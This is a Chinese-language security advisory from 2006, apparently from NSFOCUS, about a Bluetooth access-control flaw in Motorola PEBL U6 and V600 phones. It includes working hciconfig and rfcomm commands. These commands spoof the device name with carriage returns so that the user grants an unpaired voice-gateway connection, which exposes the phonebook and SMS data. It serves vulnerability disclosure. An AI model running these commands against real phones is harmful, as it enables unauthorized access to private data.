安全研究

安全漏洞
Motorola蓝牙接口访问验证漏洞

发布日期:2006-03-22
更新日期:2006-03-22

受影响系统:
Motorola PEBL U6
Motorola V600
描述:
BUGTRAQ  ID: 17190

Motorola PEBL U6和Motorola V600都是非常流行的蓝牙手机。

PEBL和V600手机对蓝牙接口的访问控制上存在问题,攻击者可能利用此漏洞非授权获取对手机的访问。

PEBL和V600手机都提供了两个语音网关,其中一个要求配对,而另一个不要求。3信道上的“Headset Audio Gateway”不要求配对,因此如果用户受骗按下了“允许”的话攻击者就可以获得对手机的额外访问。

在正常环境下3信道上的通讯会弹出以下消息:

Remote Bluetooth Device Name
Requests Voice Gateway?
(Grant or Deny)

尽管会对用户提示连接,但用户界面对“0x0d”字符的反应比较特殊,允许攻击者诱骗用户接受连接请求:

# hciconfig hci0 name `echo -e "A\x0dB\x0dC\x0dD\x0dE\x0dF\x0dG"`
# rfcomm connect 0 00:15:A8:74:87:3E 3

上面的命令会在屏幕上显示以下消息:

       A
       B
       C
       D
       E
      F ...
(Grant or Deny)

一旦用于允许了连接,攻击者就会连接到音频网关,获得对手机的AT级访问,访问电话簿和SMS数据等个人信息。

<*来源:Kevin Finisterre (dotslash@snosoft.com
  
  链接:IE crash
        http://secunia.com/advisories/19319/print/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

# hciconfig hci0 name `perl -e 'print
"Press\x0dgrant\x0dto\x0ddisable\x0dmute\x0d\x0d"'`
# rfcomm connect 0 00:15:A8:74:87:3E 3 (wait for user to press grant)
Connected /dev/rfcomm0 to 00:15:A8:74:87:3E on channel 3
Press CTRL-C for hangup

建议:
厂商补丁:

Motorola
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.motorola.com/

浏览次数:3182
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障